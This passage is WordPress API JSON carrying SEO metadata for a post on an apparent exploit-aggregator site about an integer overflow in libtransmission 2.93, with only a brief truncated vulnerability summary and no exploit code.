redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32295\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-19T18:07:22&#8243;,&#8221;description&#8221;:&#8221;libtransmission versions 2.93 and below suffer from multiple integer overflows. A remote attacker could create a specially crafted .torrent file which may be small when...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32295\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-19T12:40:08+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32295#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32295\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137\",\"datePublished\":\"2025-12-19T12:40:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32295\"},\"wordCount\":2962,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32295#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32295\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32295\",\"name\":\"\ud83d\udcc4 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-19T12:40:08+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32295#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32295\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32295#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32295","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-19T18:07:22&#8243;,&#8221;description&#8221;:&#8221;libtransmission versions 2.93 and below suffer from multiple integer overflows. A remote attacker could create a specially crafted .torrent file which may be small when...","og_url":"https:\/\/zero.redgem.net\/?p=32295","og_site_name":"zero redgem","article_published_time":"2025-12-19T12:40:08+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"15 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32295#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32295"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137","datePublished":"2025-12-19T12:40:08+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32295"},"wordCount":2962,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32295#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32295","url":"https:\/\/zero.redgem.net\/?p=32295","name":"\ud83d\udcc4 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-19T12:40:08+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32295#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32295"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32295#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 libtransmission 2.93 Integer Overflow_PACKETSTORM:213137"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32295","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32295"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32295\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32295"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32295"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32295"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}